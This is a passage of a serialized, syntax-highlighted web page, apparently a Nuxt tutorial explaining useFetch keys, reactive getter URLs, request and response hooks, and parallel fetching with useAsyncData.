useFetch(\"/api/posts\");\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cp v-if=\"status === 'pending'\">Loading posts\u003C/p>\n  \u003Cp v-else-if=\"error\">{{ error.message }}\u003C/p>\n  \u003Cul v-else>\n    \u003Cli v-for=\"post in posts\" :key=\"post.id\">{{ post.title }}\u003C/li>\n  \u003C/ul>\n\u003C/template>\n",[8339],{"type":33,"tag":41,"props":8340,"children":8341},{"__ignoreMap":7},[8342,8361,8454,8469,8476,8491,8559,8628,8647,8764,8780],{"type":33,"tag":367,"props":8343,"children":8344},{"class":369,"line":370},[8345,8349,8353,8357],{"type":33,"tag":367,"props":8346,"children":8347},{"style":1974},[8348],{"type":38,"value":1977},{"type":33,"tag":367,"props":8350,"children":8351},{"style":1980},[8352],{"type":38,"value":1983},{"type":33,"tag":367,"props":8354,"children":8355},{"style":633},[8356],{"type":38,"value":1988},{"type":33,"tag":367,"props":8358,"children":8359},{"style":1974},[8360],{"type":38,"value":2015},{"type":33,"tag":367,"props":8362,"children":8363},{"class":369,"line":402},[8364,8368,8372,8377,8381,8386,8390,8395,8399,8403,8407,8412,8416,8420,8424,8429,8433,8437,8442,8446,8450],{"type":33,"tag":367,"props":8365,"children":8366},{"style":812},[8367],{"type":38,"value":815},{"type":33,"tag":367,"props":8369,"children":8370},{"style":380},[8371],{"type":38,"value":1854},{"type":33,"tag":367,"props":8373,"children":8374},{"style":374},[8375],{"type":38,"value":8376}," data",{"type":33,"tag":367,"props":8378,"children":8379},{"style":380},[8380],{"type":38,"value":825},{"type":33,"tag":367,"props":8382,"children":8383},{"style":633},[8384],{"type":38,"value":8385}," posts",{"type":33,"tag":367,"props":8387,"children":8388},{"style":380},[8389],{"type":38,"value":593},{"type":33,"tag":367,"props":8391,"children":8392},{"style":633},[8393],{"type":38,"value":8394}," status",{"type":33,"tag":367,"props":8396,"children":8397},{"style":380},[8398],{"type":38,"value":593},{"type":33,"tag":367,"props":8400,"children":8401},{"style":633},[8402],{"type":38,"value":3303},{"type":33,"tag":367,"props":8404,"children":8405},{"style":380},[8406],{"type":38,"value":593},{"type":33,"tag":367,"props":8408,"children":8409},{"style":633},[8410],{"type":38,"value":8411}," refresh",{"type":33,"tag":367,"props":8413,"children":8414},{"style":380},[8415],{"type":38,"value":547},{"type":33,"tag":367,"props":8417,"children":8418},{"style":380},[8419],{"type":38,"value":835},{"type":33,"tag":367,"props":8421,"children":8422},{"style":3682},[8423],{"type":38,"value":4288},{"type":33,"tag":367,"props":8425,"children":8426},{"style":1124},[8427],{"type":38,"value":8428}," useFetch",{"type":33,"tag":367,"props":8430,"children":8431},{"style":533},[8432],{"type":38,"value":1131},{"type":33,"tag":367,"props":8434,"children":8435},{"style":380},[8436],{"type":38,"value":388},{"type":33,"tag":367,"props":8438,"children":8439},{"style":391},[8440],{"type":38,"value":8441},"/api/posts",{"type":33,"tag":367,"props":8443,"children":8444},{"style":380},[8445],{"type":38,"value":388},{"type":33,"tag":367,"props":8447,"children":8448},{"style":533},[8449],{"type":38,"value":1141},{"type":33,"tag":367,"props":8451,"children":8452},{"style":380},[8453],{"type":38,"value":571},{"type":33,"tag":367,"props":8455,"children":8456},{"class":369,"line":574},[8457,8461,8465],{"type":33,"tag":367,"props":8458,"children":8459},{"style":1974},[8460],{"type":38,"value":2382},{"type":33,"tag":367,"props":8462,"children":8463},{"style":1980},[8464],{"type":38,"value":1983},{"type":33,"tag":367,"props":8466,"children":8467},{"style":1974},[8468],{"type":38,"value":2015},{"type":33,"tag":367,"props":8470,"children":8471},{"class":369,"line":625},[8472],{"type":33,"tag":367,"props":8473,"children":8474},{"emptyLinePlaceholder":726},[8475],{"type":38,"value":729},{"type":33,"tag":367,"props":8477,"children":8478},{"class":369,"line":681},[8479,8483,8487],{"type":33,"tag":367,"props":8480,"children":8481},{"style":1974},[8482],{"type":38,"value":1977},{"type":33,"tag":367,"props":8484,"children":8485},{"style":1980},[8486],{"type":38,"value":2409},{"type":33,"tag":367,"props":8488,"children":8489},{"style":1974},[8490],{"type":38,"value":2015},{"type":33,"tag":367,"props":8492,"children":8493},{"class":369,"line":722},[8494,8498,8502,8506,8510,8514,8519,8523,8528,8533,8538,8542,8547,8551,8555],{"type":33,"tag":367,"props":8495,"children":8496},{"style":1974},[8497],{"type":38,"value":2421},{"type":33,"tag":367,"props":8499,"children":8500},{"style":1980},[8501],{"type":38,"value":34},{"type":33,"tag":367,"props":8503,"children":8504},{"style":633},[8505],{"type":38,"value":2431},{"type":33,"tag":367,"props":8507,"children":8508},{"style":380},[8509],{"type":38,"value":383},{"type":33,"tag":367,"props":8511,"children":8512},{"style":380},[8513],{"type":38,"value":388},{"type":33,"tag":367,"props":8515,"children":8516},{"style":374},[8517],{"type":38,"value":8518},"status",{"type":33,"tag":367,"props":8520,"children":8521},{"style":633},[8522],{"type":38,"value":1391},{"type":33,"tag":367,"props":8524,"children":8525},{"style":380},[8526],{"type":38,"value":8527}," '",{"type":33,"tag":367,"props":8529,"children":8530},{"style":391},[8531],{"type":38,"value":8532},"pending",{"type":33,"tag":367,"props":8534,"children":8535},{"style":380},[8536],{"type":38,"value":8537},"'\"",{"type":33,"tag":367,"props":8539,"children":8540},{"style":1974},[8541],{"type":38,"value":2484},{"type":33,"tag":367,"props":8543,"children":8544},{"style":2487},[8545],{"type":38,"value":8546},"Loading posts",{"type":33,"tag":367,"props":8548,"children":8549},{"style":1974},[8550],{"type":38,"value":2382},{"type":33,"tag":367,"props":8552,"children":8553},{"style":1980},[8554],{"type":38,"value":34},{"type":33,"tag":367,"props":8556,"children":8557},{"style":1974},[8558],{"type":38,"value":2015},{"type":33,"tag":367,"props":8560,"children":8561},{"class":369,"line":732},[8562,8566,8570,8575,8579,8583,8587,8591,8595,8599,8603,8607,8612,8616,8620,8624],{"type":33,"tag":367,"props":8563,"children":8564},{"style":1974},[8565],{"type":38,"value":2421},{"type":33,"tag":367,"props":8567,"children":8568},{"style":1980},[8569],{"type":38,"value":34},{"type":33,"tag":367,"props":8571,"children":8572},{"style":633},[8573],{"type":38,"value":8574}," v-else-if",{"type":33,"tag":367,"props":8576,"children":8577},{"style":380},[8578],{"type":38,"value":383},{"type":33,"tag":367,"props":8580,"children":8581},{"style":380},[8582],{"type":38,"value":388},{"type":33,"tag":367,"props":8584,"children":8585},{"style":374},[8586],{"type":38,"value":3583},{"type":33,"tag":367,"props":8588,"children":8589},{"style":380},[8590],{"type":38,"value":388},{"type":33,"tag":367,"props":8592,"children":8593},{"style":1974},[8594],{"type":38,"value":2484},{"type":33,"tag":367,"props":8596,"children":8597},{"style":380},[8598],{"type":38,"value":3023},{"type":33,"tag":367,"props":8600,"children":8601},{"style":374},[8602],{"type":38,"value":3303},{"type":33,"tag":367,"props":8604,"children":8605},{"style":380},[8606],{"type":38,"value":174},{"type":33,"tag":367,"props":8608,"children":8609},{"style":527},[8610],{"type":38,"value":8611},"message",{"type":33,"tag":367,"props":8613,"children":8614},{"style":380},[8615],{"type":38,"value":3041},{"type":33,"tag":367,"props":8617,"children":8618},{"style":1974},[8619],{"type":38,"value":2382},{"type":33,"tag":367,"props":8621,"children":8622},{"style":1980},[8623],{"type":38,"value":34},{"type":33,"tag":367,"props":8625,"children":8626},{"style":1974},[8627],{"type":38,"value":2015},{"type":33,"tag":367,"props":8629,"children":8630},{"class":369,"line":766},[8631,8635,8639,8643],{"type":33,"tag":367,"props":8632,"children":8633},{"style":1974},[8634],{"type":38,"value":2421},{"type":33,"tag":367,"props":8636,"children":8637},{"style":1980},[8638],{"type":38,"value":102},{"type":33,"tag":367,"props":8640,"children":8641},{"style":633},[8642],{"type":38,"value":2518},{"type":33,"tag":367,"props":8644,"children":8645},{"style":1974},[8646],{"type":38,"value":2015},{"type":33,"tag":367,"props":8648,"children":8649},{"class":369,"line":800},[8650,8655,8659,8664,8668,8672,8677,8682,8687,8691,8696,8701,8705,8709,8713,8717,8722,8726,8730,8734,8739,8743,8748,8752,8756,8760],{"type":33,"tag":367,"props":8651,"children":8652},{"style":1974},[8653],{"type":38,"value":8654},"    \u003C",{"type":33,"tag":367,"props":8656,"children":8657},{"style":1980},[8658],{"type":38,"value":106},{"type":33,"tag":367,"props":8660,"children":8661},{"style":633},[8662],{"type":38,"value":8663}," v-for",{"type":33,"tag":367,"props":8665,"children":8666},{"style":380},[8667],{"type":38,"value":383},{"type":33,"tag":367,"props":8669,"children":8670},{"style":380},[8671],{"type":38,"value":388},{"type":33,"tag":367,"props":8673,"children":8674},{"style":374},[8675],{"type":38,"value":8676},"post",{"type":33,"tag":367,"props":8678,"children":8679},{"style":380},[8680],{"type":38,"value":8681}," in ",{"type":33,"tag":367,"props":8683,"children":8684},{"style":374},[8685],{"type":38,"value":8686},"posts",{"type":33,"tag":367,"props":8688,"children":8689},{"style":380},[8690],{"type":38,"value":388},{"type":33,"tag":367,"props":8692,"children":8693},{"style":380},[8694],{"type":38,"value":8695}," :",{"type":33,"tag":367,"props":8697,"children":8698},{"style":633},[8699],{"type":38,"value":8700},"key",{"type":33,"tag":367,"props":8702,"children":8703},{"style":380},[8704],{"type":38,"value":383},{"type":33,"tag":367,"props":8706,"children":8707},{"style":380},[8708],{"type":38,"value":388},{"type":33,"tag":367,"props":8710,"children":8711},{"style":374},[8712],{"type":38,"value":8676},{"type":33,"tag":367,"props":8714,"children":8715},{"style":380},[8716],{"type":38,"value":174},{"type":33,"tag":367,"props":8718,"children":8719},{"style":527},[8720],{"type":38,"value":8721},"id",{"type":33,"tag":367,"props":8723,"children":8724},{"style":380},[8725],{"type":38,"value":388},{"type":33,"tag":367,"props":8727,"children":8728},{"style":1974},[8729],{"type":38,"value":2484},{"type":33,"tag":367,"props":8731,"children":8732},{"style":380},[8733],{"type":38,"value":3023},{"type":33,"tag":367,"props":8735,"children":8736},{"style":374},[8737],{"type":38,"value":8738}," post",{"type":33,"tag":367,"props":8740,"children":8741},{"style":380},[8742],{"type":38,"value":174},{"type":33,"tag":367,"props":8744,"children":8745},{"style":527},[8746],{"type":38,"value":8747},"title",{"type":33,"tag":367,"props":8749,"children":8750},{"style":380},[8751],{"type":38,"value":3041},{"type":33,"tag":367,"props":8753,"children":8754},{"style":1974},[8755],{"type":38,"value":2382},{"type":33,"tag":367,"props":8757,"children":8758},{"style":1980},[8759],{"type":38,"value":106},{"type":33,"tag":367,"props":8761,"children":8762},{"style":1974},[8763],{"type":38,"value":2015},{"type":33,"tag":367,"props":8765,"children":8766},{"class":369,"line":808},[8767,8772,8776],{"type":33,"tag":367,"props":8768,"children":8769},{"style":1974},[8770],{"type":38,"value":8771},"  \u003C/",{"type":33,"tag":367,"props":8773,"children":8774},{"style":1980},[8775],{"type":38,"value":102},{"type":33,"tag":367,"props":8777,"children":8778},{"style":1974},[8779],{"type":38,"value":2015},{"type":33,"tag":367,"props":8781,"children":8782},{"class":369,"line":843},[8783,8787,8791],{"type":33,"tag":367,"props":8784,"children":8785},{"style":1974},[8786],{"type":38,"value":2382},{"type":33,"tag":367,"props":8788,"children":8789},{"style":1980},[8790],{"type":38,"value":2409},{"type":33,"tag":367,"props":8792,"children":8793},{"style":1974},[8794],{"type":38,"value":2015},{"type":33,"tag":34,"props":8796,"children":8797},{},[8798],{"type":38,"value":8799},"The key is generated for you from the URL and the options, which is convenient and also the source of the duplicate-fetch bug I mentioned. If any part of the URL differs between the server render and the client hydration, the client computes a different key, finds no payload under it, and fetches again. A timestamp in a query string will do it.",{"type":33,"tag":34,"props":8801,"children":8802},{},[8803],{"type":38,"value":8804},"Reactive URLs re-run the handler when their dependencies change. Pass a getter, not a string:",{"type":33,"tag":357,"props":8806,"children":8810},{"code":8807,"language":8808,"meta":7,"className":8809,"style":7},"const page = ref(1);\n\n// Refetches whenever page.value changes.\nconst { data: posts } = await useFetch(() => `/api/posts?page=${page.value}`);\n","js","language-js shiki shiki-themes tokyo-night",[8811],{"type":33,"tag":41,"props":8812,"children":8813},{"__ignoreMap":7},[8814,8851,8858,8866],{"type":33,"tag":367,"props":8815,"children":8816},{"class":369,"line":370},[8817,8821,8826,8830,8834,8838,8843,8847],{"type":33,"tag":367,"props":8818,"children":8819},{"style":812},[8820],{"type":38,"value":815},{"type":33,"tag":367,"props":8822,"children":8823},{"style":633},[8824],{"type":38,"value":8825}," page",{"type":33,"tag":367,"props":8827,"children":8828},{"style":380},[8829],{"type":38,"value":835},{"type":33,"tag":367,"props":8831,"children":8832},{"style":1124},[8833],{"type":38,"value":4106},{"type":33,"tag":367,"props":8835,"children":8836},{"style":533},[8837],{"type":38,"value":1131},{"type":33,"tag":367,"props":8839,"children":8840},{"style":901},[8841],{"type":38,"value":8842},"1",{"type":33,"tag":367,"props":8844,"children":8845},{"style":533},[8846],{"type":38,"value":1141},{"type":33,"tag":367,"props":8848,"children":8849},{"style":380},[8850],{"type":38,"value":571},{"type":33,"tag":367,"props":8852,"children":8853},{"class":369,"line":402},[8854],{"type":33,"tag":367,"props":8855,"children":8856},{"emptyLinePlaceholder":726},[8857],{"type":38,"value":729},{"type":33,"tag":367,"props":8859,"children":8860},{"class":369,"line":574},[8861],{"type":33,"tag":367,"props":8862,"children":8863},{"style":518},[8864],{"type":38,"value":8865},"// Refetches whenever page.value changes.\n",{"type":33,"tag":367,"props":8867,"children":8868},{"class":369,"line":625},[8869,8873,8877,8881,8885,8889,8893,8897,8901,8905,8909,8913,8918,8923,8927,8932,8936,8940,8944,8948,8952],{"type":33,"tag":367,"props":8870,"children":8871},{"style":812},[8872],{"type":38,"value":815},{"type":33,"tag":367,"props":8874,"children":8875},{"style":380},[8876],{"type":38,"value":1854},{"type":33,"tag":367,"props":8878,"children":8879},{"style":374},[8880],{"type":38,"value":8376},{"type":33,"tag":367,"props":8882,"children":8883},{"style":380},[8884],{"type":38,"value":825},{"type":33,"tag":367,"props":8886,"children":8887},{"style":633},[8888],{"type":38,"value":8385},{"type":33,"tag":367,"props":8890,"children":8891},{"style":380},[8892],{"type":38,"value":547},{"type":33,"tag":367,"props":8894,"children":8895},{"style":380},[8896],{"type":38,"value":835},{"type":33,"tag":367,"props":8898,"children":8899},{"style":3682},[8900],{"type":38,"value":4288},{"type":33,"tag":367,"props":8902,"children":8903},{"style":1124},[8904],{"type":38,"value":8428},{"type":33,"tag":367,"props":8906,"children":8907},{"style":533},[8908],{"type":38,"value":2898},{"type":33,"tag":367,"props":8910,"children":8911},{"style":633},[8912],{"type":38,"value":1356},{"type":33,"tag":367,"props":8914,"children":8915},{"style":380},[8916],{"type":38,"value":8917}," `",{"type":33,"tag":367,"props":8919,"children":8920},{"style":391},[8921],{"type":38,"value":8922},"/api/posts?page=",{"type":33,"tag":367,"props":8924,"children":8925},{"style":527},[8926],{"type":38,"value":6929},{"type":33,"tag":367,"props":8928,"children":8929},{"style":374},[8930],{"type":38,"value":8931},"page",{"type":33,"tag":367,"props":8933,"children":8934},{"style":380},[8935],{"type":38,"value":174},{"type":33,"tag":367,"props":8937,"children":8938},{"style":527},[8939],{"type":38,"value":2915},{"type":33,"tag":367,"props":8941,"children":8942},{"style":527},[8943],{"type":38,"value":1092},{"type":33,"tag":367,"props":8945,"children":8946},{"style":380},[8947],{"type":38,"value":6919},{"type":33,"tag":367,"props":8949,"children":8950},{"style":533},[8951],{"type":38,"value":1141},{"type":33,"tag":367,"props":8953,"children":8954},{"style":380},[8955],{"type":38,"value":571},{"type":33,"tag":34,"props":8957,"children":8958},{},[8959,8961,8967],{"type":38,"value":8960},"A plain template literal is evaluated once and never updates. The getter form is the one that works, and ",{"type":33,"tag":41,"props":8962,"children":8964},{"className":8963},[],[8965],{"type":38,"value":8966},"watch: [page]",{"type":38,"value":8968}," is the alternative if the URL itself is static and something else should trigger the refetch.",{"type":33,"tag":34,"props":8970,"children":8971},{},[8972],{"type":38,"value":8973},"Request and response hooks handle auth headers and error normalisation:",{"type":33,"tag":357,"props":8975,"children":8977},{"code":8976,"language":8808,"meta":7,"className":8809,"style":7},"const { data } = await useFetch(\"/api/comments\", {\n  method: \"POST\",\n  body: { postId: 1, comment: \"Useful, thanks.\" },\n  onRequest({ options }) {\n    options.headers = { ...options.headers, authorization: `Bearer ${token.value}` };\n  },\n  onResponseError({ response }) {\n    console.error(\"Comment failed\", response.status);\n  },\n});\n",[8978],{"type":33,"tag":41,"props":8979,"children":8980},{"__ignoreMap":7},[8981,9037,9066,9130,9164,9263,9274,9307,9363,9374],{"type":33,"tag":367,"props":8982,"children":8983},{"class":369,"line":370},[8984,8988,8992,8996,9000,9004,9008,9012,9016,9020,9025,9029,9033],{"type":33,"tag":367,"props":8985,"children":8986},{"style":812},[8987],{"type":38,"value":815},{"type":33,"tag":367,"props":8989,"children":8990},{"style":380},[8991],{"type":38,"value":1854},{"type":33,"tag":367,"props":8993,"children":8994},{"style":633},[8995],{"type":38,"value":8376},{"type":33,"tag":367,"props":8997,"children":8998},{"style":380},[8999],{"type":38,"value":547},{"type":33,"tag":367,"props":9001,"children":9002},{"style":380},[9003],{"type":38,"value":835},{"type":33,"tag":367,"props":9005,"children":9006},{"style":3682},[9007],{"type":38,"value":4288},{"type":33,"tag":367,"props":9009,"children":9010},{"style":1124},[9011],{"type":38,"value":8428},{"type":33,"tag":367,"props":9013,"children":9014},{"style":533},[9015],{"type":38,"value":1131},{"type":33,"tag":367,"props":9017,"children":9018},{"style":380},[9019],{"type":38,"value":388},{"type":33,"tag":367,"props":9021,"children":9022},{"style":391},[9023],{"type":38,"value":9024},"/api/comments",{"type":33,"tag":367,"props":9026,"children":9027},{"style":380},[9028],{"type":38,"value":388},{"type":33,"tag":367,"props":9030,"children":9031},{"style":380},[9032],{"type":38,"value":593},{"type":33,"tag":367,"props":9034,"children":9035},{"style":533},[9036],{"type":38,"value":840},{"type":33,"tag":367,"props":9038,"children":9039},{"class":369,"line":402},[9040,9045,9049,9053,9058,9062],{"type":33,"tag":367,"props":9041,"children":9042},{"style":847},[9043],{"type":38,"value":9044},"  method",{"type":33,"tag":367,"props":9046,"children":9047},{"style":380},[9048],{"type":38,"value":825},{"type":33,"tag":367,"props":9050,"children":9051},{"style":380},[9052],{"type":38,"value":557},{"type":33,"tag":367,"props":9054,"children":9055},{"style":391},[9056],{"type":38,"value":9057},"POST",{"type":33,"tag":367,"props":9059,"children":9060},{"style":380},[9061],{"type":38,"value":388},{"type":33,"tag":367,"props":9063,"children":9064},{"style":380},[9065],{"type":38,"value":908},{"type":33,"tag":367,"props":9067,"children":9068},{"class":369,"line":574},[9069,9074,9078,9082,9087,9091,9096,9100,9105,9109,9113,9118,9122,9126],{"type":33,"tag":367,"props":9070,"children":9071},{"style":847},[9072],{"type":38,"value":9073},"  body",{"type":33,"tag":367,"props":9075,"children":9076},{"style":380},[9077],{"type":38,"value":825},{"type":33,"tag":367,"props":9079,"children":9080},{"style":533},[9081],{"type":38,"value":1854},{"type":33,"tag":367,"props":9083,"children":9084},{"style":847},[9085],{"type":38,"value":9086}," postId",{"type":33,"tag":367,"props":9088,"children":9089},{"style":380},[9090],{"type":38,"value":825},{"type":33,"tag":367,"props":9092,"children":9093},{"style":901},[9094],{"type":38,"value":9095}," 1",{"type":33,"tag":367,"props":9097,"children":9098},{"style":380},[9099],{"type":38,"value":593},{"type":33,"tag":367,"props":9101,"children":9102},{"style":847},[9103],{"type":38,"value":9104}," comment",{"type":33,"tag":367,"props":9106,"children":9107},{"style":380},[9108],{"type":38,"value":825},{"type":33,"tag":367,"props":9110,"children":9111},{"style":380},[9112],{"type":38,"value":557},{"type":33,"tag":367,"props":9114,"children":9115},{"style":391},[9116],{"type":38,"value":9117},"Useful, thanks.",{"type":33,"tag":367,"props":9119,"children":9120},{"style":380},[9121],{"type":38,"value":388},{"type":33,"tag":367,"props":9123,"children":9124},{"style":533},[9125],{"type":38,"value":547},{"type":33,"tag":367,"props":9127,"children":9128},{"style":380},[9129],{"type":38,"value":908},{"type":33,"tag":367,"props":9131,"children":9132},{"class":369,"line":625},[9133,9138,9142,9147,9152,9156,9160],{"type":33,"tag":367,"props":9134,"children":9135},{"style":1124},[9136],{"type":38,"value":9137},"  onRequest",{"type":33,"tag":367,"props":9139,"children":9140},{"style":533},[9141],{"type":38,"value":1131},{"type":33,"tag":367,"props":9143,"children":9144},{"style":380},[9145],{"type":38,"value":9146},"{",{"type":33,"tag":367,"props":9148,"children":9149},{"style":1344},[9150],{"type":38,"value":9151}," options",{"type":33,"tag":367,"props":9153,"children":9154},{"style":380},[9155],{"type":38,"value":547},{"type":33,"tag":367,"props":9157,"children":9158},{"style":533},[9159],{"type":38,"value":1141},{"type":33,"tag":367,"props":9161,"children":9162},{"style":533},[9163],{"type":38,"value":840},{"type":33,"tag":367,"props":9165,"children":9166},{"class":369,"line":681},[9167,9172,9176,9181,9185,9189,9195,9200,9204,9208,9212,9217,9221,9225,9230,9234,9239,9243,9247,9251,9255,9259],{"type":33,"tag":367,"props":9168,"children":9169},{"style":374},[9170],{"type":38,"value":9171},"    options",{"type":33,"tag":367,"props":9173,"children":9174},{"style":380},[9175],{"type":38,"value":174},{"type":33,"tag":367,"props":9177,"children":9178},{"style":527},[9179],{"type":38,"value":9180},"headers",{"type":33,"tag":367,"props":9182,"children":9183},{"style":380},[9184],{"type":38,"value":835},{"type":33,"tag":367,"props":9186,"children":9187},{"style":533},[9188],{"type":38,"value":536},{"type":33,"tag":367,"props":9190,"children":9192},{"style":9191},"--shiki-default:#F7768E;--shiki-default-font-weight:bold",[9193],{"type":38,"value":9194},"...",{"type":33,"tag":367,"props":9196,"children":9197},{"style":374},[9198],{"type":38,"value":9199},"options",{"type":33,"tag":367,"props":9201,"children":9202},{"style":380},[9203],{"type":38,"value":174},{"type":33,"tag":367,"props":9205,"children":9206},{"style":527},[9207],{"type":38,"value":9180},{"type":33,"tag":367,"props":9209,"children":9210},{"style":380},[9211],{"type":38,"value":593},{"type":33,"tag":367,"props":9213,"children":9214},{"style":847},[9215],{"type":38,"value":9216}," authorization",{"type":33,"tag":367,"props":9218,"children":9219},{"style":380},[9220],{"type":38,"value":825},{"type":33,"tag":367,"props":9222,"children":9223},{"style":380},[9224],{"type":38,"value":8917},{"type":33,"tag":367,"props":9226,"children":9227},{"style":391},[9228],{"type":38,"value":9229},"Bearer ",{"type":33,"tag":367,"props":9231,"children":9232},{"style":527},[9233],{"type":38,"value":6929},{"type":33,"tag":367,"props":9235,"children":9236},{"style":374},[9237],{"type":38,"value":9238},"token",{"type":33,"tag":367,"props":9240,"children":9241},{"style":380},[9242],{"type":38,"value":174},{"type":33,"tag":367,"props":9244,"children":9245},{"style":527},[9246],{"type":38,"value":2915},{"type":33,"tag":367,"props":9248,"children":9249},{"style":527},[9250],{"type":38,"value":1092},{"type":33,"tag":367,"props":9252,"children":9253},{"style":380},[9254],{"type":38,"value":6919},{"type":33,"tag":367,"props":9256,"children":9257},{"style":533},[9258],{"type":38,"value":547},{"type":33,"tag":367,"props":9260,"children":9261},{"style":380},[9262],{"type":38,"value":571},{"type":33,"tag":367,"props":9264,"children":9265},{"class":369,"line":722},[9266,9270],{"type":33,"tag":367,"props":9267,"children":9268},{"style":533},[9269],{"type":38,"value":1020},{"type":33,"tag":367,"props":9271,"children":9272},{"style":380},[9273],{"type":38,"value":908},{"type":33,"tag":367,"props":9275,"children":9276},{"class":369,"line":732},[9277,9282,9286,9290,9295,9299,9303],{"type":33,"tag":367,"props":9278,"children":9279},{"style":1124},[9280],{"type":38,"value":9281},"  onResponseError",{"type":33,"tag":367,"props":9283,"children":9284},{"style":533},[9285],{"type":38,"value":1131},{"type":33,"tag":367,"props":9287,"children":9288},{"style":380},[9289],{"type":38,"value":9146},{"type":33,"tag":367,"props":9291,"children":9292},{"style":1344},[9293],{"type":38,"value":9294}," response",{"type":33,"tag":367,"props":9296,"children":9297},{"style":380},[9298],{"type":38,"value":547},{"type":33,"tag":367,"props":9300,"children":9301},{"style":533},[9302],{"type":38,"value":1141},{"type":33,"tag":367,"props":9304,"children":9305},{"style":533},[9306],{"type":38,"value":840},{"type":33,"tag":367,"props":9308,"children":9309},{"class":369,"line":766},[9310,9314,9318,9322,9326,9330,9335,9339,9343,9347,9351,9355,9359],{"type":33,"tag":367,"props":9311,"children":9312},{"style":374},[9313],{"type":38,"value":3490},{"type":33,"tag":367,"props":9315,"children":9316},{"style":380},[9317],{"type":38,"value":174},{"type":33,"tag":367,"props":9319,"children":9320},{"style":1124},[9321],{"type":38,"value":3583},{"type":33,"tag":367,"props":9323,"children":9324},{"style":533},[9325],{"type":38,"value":1131},{"type":33,"tag":367,"props":9327,"children":9328},{"style":380},[9329],{"type":38,"value":388},{"type":33,"tag":367,"props":9331,"children":9332},{"style":391},[9333],{"type":38,"value":9334},"Comment failed",{"type":33,"tag":367,"props":9336,"children":9337},{"style":380},[9338],{"type":38,"value":388},{"type":33,"tag":367,"props":9340,"children":9341},{"style":380},[9342],{"type":38,"value":593},{"type":33,"tag":367,"props":9344,"children":9345},{"style":374},[9346],{"type":38,"value":9294},{"type":33,"tag":367,"props":9348,"children":9349},{"style":380},[9350],{"type":38,"value":174},{"type":33,"tag":367,"props":9352,"children":9353},{"style":527},[9354],{"type":38,"value":8518},{"type":33,"tag":367,"props":9356,"children":9357},{"style":533},[9358],{"type":38,"value":1141},{"type":33,"tag":367,"props":9360,"children":9361},{"style":380},[9362],{"type":38,"value":571},{"type":33,"tag":367,"props":9364,"children":9365},{"class":369,"line":800},[9366,9370],{"type":33,"tag":367,"props":9367,"children":9368},{"style":533},[9369],{"type":38,"value":1020},{"type":33,"tag":367,"props":9371,"children":9372},{"style":380},[9373],{"type":38,"value":908},{"type":33,"tag":367,"props":9375,"children":9376},{"class":369,"line":808},[9377,9381],{"type":33,"tag":367,"props":9378,"children":9379},{"style":533},[9380],{"type":38,"value":1532},{"type":33,"tag":367,"props":9382,"children":9383},{"style":380},[9384],{"type":38,"value":571},{"type":33,"tag":455,"props":9386,"children":9387},{},[9388],{"type":33,"tag":34,"props":9389,"children":9390},{},[9391,9393,9398,9400,9405],{"type":38,"value":9392},"That example is the wrong shape on purpose in one respect: a POST that creates a comment belongs in a click handler with ",{"type":33,"tag":41,"props":9394,"children":9396},{"className":9395},[],[9397],{"type":38,"value":8024},{"type":38,"value":9399},", not in a composable that runs on page load. See the ",{"type":33,"tag":41,"props":9401,"children":9403},{"className":9402},[],[9404],{"type":38,"value":8024},{"type":38,"value":9406}," section below.",{"type":33,"tag":95,"props":9408,"children":9410},{"id":9409},"useasyncdata",[9411],{"type":38,"value":8050},{"type":33,"tag":34,"props":9413,"children":9414},{},[9415,9420],{"type":33,"tag":41,"props":9416,"children":9418},{"className":9417},[],[9419],{"type":38,"value":8050},{"type":38,"value":9421}," takes a key and any async function. Reach for it when the handler is doing real work.",{"type":33,"tag":34,"props":9423,"children":9424},{},[9425],{"type":38,"value":9426},"Two endpoints in parallel:",{"type":33,"tag":357,"props":9428,"children":9430},{"code":9429,"language":8808,"meta":7,"className":8809,"style":7},"const { data: dashboard } = await useAsyncData(\"dashboard\", async () => {\n  const [orders, customers] = await Promise.all([\n    $fetch(\"/api/orders\"),\n    $fetch(\"/api/customers\"),\n  ]);\n\n  return {\n    revenue: orders.reduce((sum, order) => sum + order.total, 0),\n    customerCount: customers.length,\n  };\n});\n",[9431],{"type":33,"tag":41,"props":9432,"children":9433},{"__ignoreMap":7},[9434,9512,9568,9601,9633,9645,9652,9664,9755,9783,9794],{"type":33,"tag":367,"props":9435,"children":9436},{"class":369,"line":370},[9437,9441,9445,9449,9453,9458,9462,9466,9470,9475,9479,9483,9488,9492,9496,9500,9504,9508],{"type":33,"tag":367,"props":9438,"children":9439},{"style":812},[9440],{"type":38,"value":815},{"type":33,"tag":367,"props":9442,"children":9443},{"style":380},[9444],{"type":38,"value":1854},{"type":33,"tag":367,"props":9446,"children":9447},{"style":374},[9448],{"type":38,"value":8376},{"type":33,"tag":367,"props":9450,"children":9451},{"style":380},[9452],{"type":38,"value":825},{"type":33,"tag":367,"props":9454,"children":9455},{"style":633},[9456],{"type":38,"value":9457}," dashboard",{"type":33,"tag":367,"props":9459,"children":9460},{"style":380},[9461],{"type":38,"value":547},{"type":33,"tag":367,"props":9463,"children":9464},{"style":380},[9465],{"type":38,"value":835},{"type":33,"tag":367,"props":9467,"children":9468},{"style":3682},[9469],{"type":38,"value":4288},{"type":33,"tag":367,"props":9471,"children":9472},{"style":1124},[9473],{"type":38,"value":9474}," useAsyncData",{"type":33,"tag":367,"props":9476,"children":9477},{"style":533},[9478],{"type":38,"value":1131},{"type":33,"tag":367,"props":9480,"children":9481},{"style":380},[9482],{"type":38,"value":388},{"type":33,"tag":367,"props":9484,"children":9485},{"style":391},[9486],{"type":38,"value":9487},"dashboard",{"type":33,"tag":367,"props":9489,"children":9490},{"style":380},[9491],{"type":38,"value":388},{"type":33,"tag":367,"props":9493,"children":9494},{"style":380},[9495],{"type":38,"value":593},{"type":33,"tag":367,"props":9497,"children":9498},{"style":812},[9499],{"type":38,"value":4198},{"type":33,"tag":367,"props":9501,"children":9502},{"style":533},[9503],{"type":38,"value":2170},{"type":33,"tag":367,"props":9505,"children":9506},{"style":633},[9507],{"type":38,"value":1356},{"type":33,"tag":367,"props":9509,"children":9510},{"style":533},[9511],{"type":38,"value":840},{"type":33,"tag":367,"props":9513,"children":9514},{"class":369,"line":402},[9515,9519,9523,9528,9532,9537,9541,9545,9549,9554,9558,9563],{"type":33,"tag":367,"props":9516,"children":9517},{"style":812},[9518],{"type":38,"value":5839},{"type":33,"tag":367,"props":9520,"children":9521},{"style":380},[9522],{"type":38,"value":3381},{"type":33,"tag":367,"props":9524,"children":9525},{"style":633},[9526],{"type":38,"value":9527},"orders",{"type":33,"tag":367,"props":9529,"children":9530},{"style":380},[9531],{"type":38,